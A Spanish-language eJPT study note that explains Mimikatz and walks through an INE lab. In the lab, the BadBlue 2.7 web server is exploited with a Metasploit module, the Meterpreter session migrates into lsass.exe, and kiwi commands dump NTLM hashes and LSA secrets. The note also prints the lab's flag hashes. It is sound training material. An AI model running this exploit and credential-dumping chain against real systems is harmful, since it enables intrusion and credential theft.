> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/volcado-de-credenciales-de-windows/volcado-de-hashes-con-mimikatz.md).

# Volcado de Hashes con Mimikatz

### 🛠️ Mimikatz

* **Mimikatz** es una herramienta de **post-explotación para Windows** creada por Benjamin Delpy (`@gentilkiwi`).
* Permite extraer desde la memoria del sistema:
  * Contraseñas en texto claro.
  * Hashes de contraseñas.
  * Tickets de Kerberos.

***

### 🔐 SAM y LSASS

* **SAM** (Security Account Manager) es una base de datos en sistemas Windows que almacena los hashes de las contraseñas de los usuarios.
* **Mimikatz** puede extraer estos hashes desde el proceso **lsass.exe**, donde Windows **almacena en caché las credenciales** para autenticaciones.

***

### ⚙️ Formas de utilizar Mimikatz

* Podemos usar el ejecutable **precompilado** de mimikatz directamente en el sistema comprometido.
* Si disponemos de una **sesión meterpreter** (por ejemplo, tras una explotación), también podemos utilizar la extensión `kiwi` integrada en Meterpreter, que incluye funcionalidades similares a mimikatz.

***

> ⚠️ **Nota**: Mimikatz requiere **privilegios elevados** (administrador o SYSTEM) para funcionar correctamente. Si no se ejecuta con estos privilegios, no podrá acceder a la memoria del proceso `lsass.exe`.

***

## 🧪 Laboratorio Práctico&#x20;

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/NS8BhNCzAn43D83EHkqw" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/FoWMrAkjX9y96DdiEOW3" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Verifique los puertos abiertos en la máquina de destino:

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/N6iIIg5GbVqHfJ5vMXIT" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que varios puertos están abiertos. Ejecutaremos nmap de nuevo para determinar la versión del puerto 80.

**Dominio:**

```
nmap -sV -p 80 demo.ine.local
```

<figure><img src="/files/MDODwA92sxCJjWopHhYa" alt=""><figcaption></figcaption></figure>

**BadBlue 2.7** ya está disponible.

**Paso 5:** Buscaremos el módulo de explotación de badblue 2.7 usando searchsploit.

**Dominio:**

```
searchsploit badblue 2.7
```

<figure><img src="/files/1pw3uFjMfDnpDUG76GVo" alt=""><figcaption></figcaption></figure>

**Paso 6:** Existe un módulo de metasploit para el servidor BadBlue. Usaremos el módulo de metasploit PassThru para desbordamiento de búfer remoto y explotaremos el objetivo.

**Comandos:**

```
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/5e5nRlnH9HC3N1o0I1vJ" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito la aplicación vulnerable objetivo (badblue) y recibimos un shell meterpreter.

**Paso 7:** Migrar el proceso actual a lsass.exe

**Dominio:**

```
migrate -N lsass.exe
```

<figure><img src="/files/Jon2vSjmOlMiXjUfjEaK" alt=""><figcaption></figcaption></figure>

**Paso 8:** Cargar la extensión kiwi.

**Dominio:**

```
load kiwi
```

<figure><img src="/files/2hjC4iLrGfWbarTq41lc" alt=""><figcaption></figcaption></figure>

**Paso 9:** Volcar el hash NTLM del administrador mediante los comandos de extensión Kiwi.

**Dominio:**

```
creds_all
```

<figure><img src="/files/j9E3kfduyB0Aq94u3Hhc" alt=""><figcaption></figcaption></figure>

Esto nos reveló la bandera:

**Hash NTLM del usuario administrador:** e3c61a68f1b89ee6c8ba9507378dc88d

**Paso 10:** Extraiga todos los hash NTLM de los usuarios usando Kiwi.

**Dominio:**

```
lsa_dump_sam
```

<figure><img src="/files/AraSsXreafasmvpEE6mp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b0lo2miKzRK8hIBzr9eI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BCymMCPILyKodB0oRi8x" alt=""><figcaption></figcaption></figure>

Esto nos reveló otra bandera:

**Hash NTLM del usuario estudiante:** bd4ca1fbe028f3c5066467a7f6a73b0b

**Paso 11:** Encuentra la clave del sistema volcando los secretos de LSA.

**Dominio:**

```
lsa_dump_secrets
```

<figure><img src="/files/8QR8usUP3gc0D97RtFvx" alt=""><figcaption></figcaption></figure>

Esto nos reveló otra bandera:

**Clave de sistema:** 377af0de68bdc918d22c57a263d38326

#### Conclusión

En este laboratorio, explotamos una aplicación vulnerable usando metasploit para obtener acceso al shell en el objetivo y luego usamos el complemento Kiwi de meterpreter para extraer datos confidenciales de la máquina objetivo.

#### Referencias

* [BadBlue 2.72b - Múltiples vulnerabilidades](https://www.exploit-db.com/exploits/4715)
* [Módulo Metasploit](https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
